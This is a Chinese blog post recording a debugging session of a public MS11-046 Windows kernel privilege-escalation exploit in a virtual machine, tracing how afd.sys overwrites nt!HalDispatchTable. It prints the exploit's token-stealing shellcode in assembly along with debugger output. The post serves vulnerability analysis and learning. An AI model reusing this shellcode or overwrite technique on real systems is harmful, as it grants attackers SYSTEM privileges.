注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

调试ms11046  

2013-01-06 10:40:58|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

 2013.1.6

用网上找到ms11046的利用代码生成调试用的ms11046.exe

在虚拟机里运行可以提权到system以前没调试过驱动方面的实例,就用此exploit调试一下。

先从它的shellcode下手,它的shellcode已经做了通用化处理,如下:

ULONG PsInitialSystemProcess, PsReferencePrimaryToken,

      PsGetThreadProcess, WriteToHalDispatchTable;

void _declspec(naked) ShellCode()
{
  __asm
  {
    pushad
    pushfd
    mov esi,PsReferencePrimaryToken
FindTokenOffset:
    lodsb
    cmp al, 8Dh;
    jnz FindTokenOffset
    mov edi,[esi+1]
    mov esi,PsInitialSystemProcess
    mov esi,[esi]
    push fs:[124h]
    mov eax,PsGetThreadProcess
    call eax
    add esi, edi
    add edi, eax
    movsd
    popfd
    popad
    ret
  }
}

 

OD中提取到如下:

02080000    60                     pushad
02080001    9C                     pushfd
02080002    8B35 C8994000          mov     esi, dword ptr [4099C8]
02080008    AC                     lods    byte ptr [esi]
02080009    3C 8D                  cmp     al, 8D
0208000B  ^ 75 FB                  jnz     short 02080008
0208000D    8B7E 01                mov     edi, dword ptr [esi+1]
02080010    8B35 B8994000          mov     esi, dword ptr [4099B8]
02080016    8B36                   mov     esi, dword ptr [esi]
02080018    64:FF35 24010000       push    dword ptr fs:[124]
0208001F    A1 C0994000            mov     eax, dword ptr [4099C0]
02080024    FFD0                   call    eax
02080026    03F7                   add     esi, edi
02080028    03F8                   add     edi, eax
0208002A    A5                     movs    dword ptr es:[edi], dword ptr [esi]
0208002B    9D                     popfd
0208002C    61                     popad
0208002D    C3                     retn

 

因为该exploit可以成功运行,所以就下内存断点ba e1 02080000即可断下。

断下后堆栈如下:

f4d33cfc 8065e21a 0x2080000
f4d33d20 8064afd6 nt!KeQueryIntervalProfile+0x37
f4d33d54 804df7ec nt!NtQueryIntervalProfile+0x61
f4d33d54 7c92e514 nt!KiFastCallEntry+0xf8
0012fbd4 7c92d84a ntdll!KiFastSystemCallRet
0012fcac 7c92cf7a ntdll!NtQueryIntervalProfile+0xc
0012fcc4 7c931727 ntdll!ZwAllocateVirtualMemory+0xc
0012ff80 0040173c ntdll!RtlpInsertFreeBlock+0x118
0012ffd0 8054c6b8 0x40173c
0012fff0 00000000 nt!ExFreePoolWithTag+0x676

 

寄存器以及附近代码如下:

kd> r
eax=f4d33d14 ebx=8064af01 ecx=00000000 edx=0012fbe0 esi=0012fbec edi=f4d33d64
eip=02080000 esp=f4d33d00 ebp=f4d33d20 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
02080000 60              pushad

 

kd> ub
0207fff8 90              nop
0207fff9 90              nop
0207fffa 90              nop
0207fffb 90              nop
0207fffc 90              nop
0207fffd 90              nop
0207fffe 90              nop
0207ffff 90              nop
kd> u
02080000 60              pushad
02080001 9c              pushfd
02080002 8b35c8994000    mov     esi,dword ptr ds:[4099C8h]
02080008 ac              lods    byte ptr [esi]
02080009 3c8d            cmp     al,8Dh
0208000b 75fb            jne     02080008
0208000d 8b7e01          mov     edi,dword ptr [esi+1]
02080010 8b35b8994000    mov     esi,dword ptr ds:[4099B8h]
02080016 8b36            mov     esi,dword ptr [esi]
02080018 64ff3524010000  push    dword ptr fs:[124h]
0208001f a1c0994000      mov     eax,dword ptr ds:[004099C0h]
02080024 ffd0            call    eax
02080026 03f7            add     esi,edi
02080028 03f8            add     edi,eax
0208002a a5              movs    dword ptr es:[edi],dword ptr [esi]
0208002b 9d              popfd
0208002c 61              popad
0208002d c3              ret

可以看到shellcode的内容跟从OD中得到的一样。

 

查看返回地址附近代码

kd> ub 8065e21a
nt!KeQueryIntervalProfile+0x22:
8065e205 8945f4          mov     dword ptr [ebp-0Ch],eax
8065e208 8d4508          lea     eax,[ebp+8]
8065e20b 50              push    eax
8065e20c 8d45f4          lea     eax,[ebp-0Ch]
8065e20f 50              push    eax
8065e210 6a0c            push    0Ch
8065e212 6a01            push    1
8065e214 ff153cdb5480    call    dword ptr [nt!HalDispatchTable+0x4 (8054db3c)]
kd> u
nt!KeQueryIntervalProfile+0x37:
8065e21a 85c0            test    eax,eax
8065e21c 7c0b            jl      nt!KeQueryIntervalProfile+0x46 (8065e229)
8065e21e 807df800        cmp     byte ptr [ebp-8],0
8065e222 7405            je      nt!KeQueryIntervalProfile+0x46 (8065e229)
8065e224 8b45fc          mov     eax,dword ptr [ebp-4]
8065e227 eb02            jmp     nt!KeQueryIntervalProfile+0x48 (8065e22b)
8065e229 33c0            xor     eax,eax
8065e22b c9              leave

 

可以看到最终调用nt!HalDispatchTable附近+4偏移的地方。

查看一下nt!HalDispatchTable附近的值

kd> dd nt!HalDispatchTable
8054db38  00000003 /0207a3f2/ 806fc000 80615247
8054db48  00000000 8050c4e5 805c1151 805bec6d

 

kd> u 0207a3f2
0207a3f2 90              nop
0207a3f3 90              nop
0207a3f4 90              nop
0207a3f5 90              nop
0207a3f6 90              nop
0207a3f7 90              nop
0207a3f8 90              nop
0207a3f9 90              nop

 

以上可以确认nt!HalDispatchTable附近的值被改成了我们可以控制的值,

那以前的值是多少,是什么时候被改的?

 

重新运行虚拟机,查看一下未修改时的nt!HalDispatchTable内容

kd> dd nt!HalDispatchTable
8054db38  00000003
/806fa3f2/ /806fa3ce/
80615247
8054db48  00000000 8050c4e5 805c1151 805bec6d

与之前的对照一下可以发现红色部分被修改了。

下内存写入断点ba w4 8054db3c,中断如下:

eax=8054db3e ebx=8218dddc ecx=c0000207 edx=00000000 esi=820e51f8 edi=820dd738
eip=f7fb13a7 esp=f4f2d9a8 ebp=f4f2d9d8 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
afd!AfdConnectApcKernelRoutine+0x31:
f7fb13a7 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh ss:0010:f4f2d9d4=00000000

 

堆栈如下

kd> k
ChildEBP RetAddr 
f4f2d9d8 804edaba afd!AfdConnectApcKernelRoutine+0x31
f4f2da28 806f5c0e nt!KiDeliverApc+0xb3
f4f2da28 806f00b3 hal!HalpApcInterrupt2ndEntry+0x31
f4f2dab4 804e646c hal!KfLowerIrql+0x43
f4f2dad4 f7fbbf95 nt!KeInsertQueueApc+0x4b
f4f2db04 804e4d48 afd!AfdRestartConnect+0x172
f4f2db34 f7ffa942 nt!IopfCompleteRequest+0xa2
f4f2db4c f8000471 tcpip!TCPDataRequestComplete+0xa6
f4f2db60 f8005c0a tcpip!TCPRequestComplete+0x12
f4f2db98 f7ffc7a0 tcpip!TCPConnect+0xbc
f4f2dbb4 804e4807 tcpip!TCPDispatchInternalDeviceControl+0x13f
f4f2dbc4 f7fafec4 nt!IopfCallDriver+0x31
f4f2dc24 f7fb72d7 afd!AfdConnect+0x3a8
f4f2dc34 804e4807 afd!AfdDispatchDeviceControl+0x53
f4f2dc44 80568f71 nt!IopfCallDriver+0x31
f4f2dc58 8057bc7f nt!IopSynchronousServiceTail+0x70
f4f2dd00 805893d4 nt!IopXxxControlFile+0x611
f4f2dd34 804df7ec nt!NtDeviceIoControlFile+0x2a
f4f2dd34 7c92e514 nt!KiFastCallEntry+0xf8
0012fb5c 7c92d28a ntdll!KiFastSystemCallRet

 

附近代码如下:

kd> ub
afd!AfdConnectApcKernelRoutine+0x1a:
f7fb1390 8975e4          mov     dword ptr [ebp-1Ch],esi
f7fb1393 8b4518          mov     eax,dword ptr [ebp+18h]
f7fb1396 8b00            mov     eax,dword ptr [eax]
f7fb1398 8945e0          mov     dword ptr [ebp-20h],eax
f7fb139b 8365fc00        and     dword ptr [ebp-4],0
f7fb139f 8b463c          mov     eax,dword ptr [esi+3Ch]
f7fb13a2 8b4e18          mov     ecx,dword ptr [esi+18h]
f7fb13a5 8908            mov     dword ptr [eax],ecx //eax=8054db3e ecx=c0000207
kd> u
afd!AfdConnectApcKernelRoutine+0x31:
f7fb13a7 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
f7fb13ab ff75e0          push    dword ptr [ebp-20h]
f7fb13ae 56              push    esi
f7fb13af ff75dc          push    dword ptr [ebp-24h]
f7fb13b2 e8db700000      call    afd!AfdFinishConnect (f7fb8492)
f7fb13b7 8a1511e0faf7    mov     dl,byte ptr [afd!AfdPriorityBoost (f7fae011)]
f7fb13bd 8bce            mov     ecx,esi
f7fb13bf ff15acd5faf7    call    dword ptr [afd!_imp_IofCompleteRequest (f7fad5ac)]

 

从红色部分?可见,ecx的值c0000207,写入eax所指向的地方8054db3e,位于

nt!HalDispatchTable偏移+4与偏移+8的中间部分,从被修改的表可以看到这一点。

 

所以这里的eax在写入前没检查是产生问题的原因。

 

【后记2013.2.6】

后来调试ms11080时发现写入在同一个位置,所以具体位置可能在更前的位置!

这里只是前面的某个环节检查错误,导致后面出错。
  评论这张
 
阅读(873)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017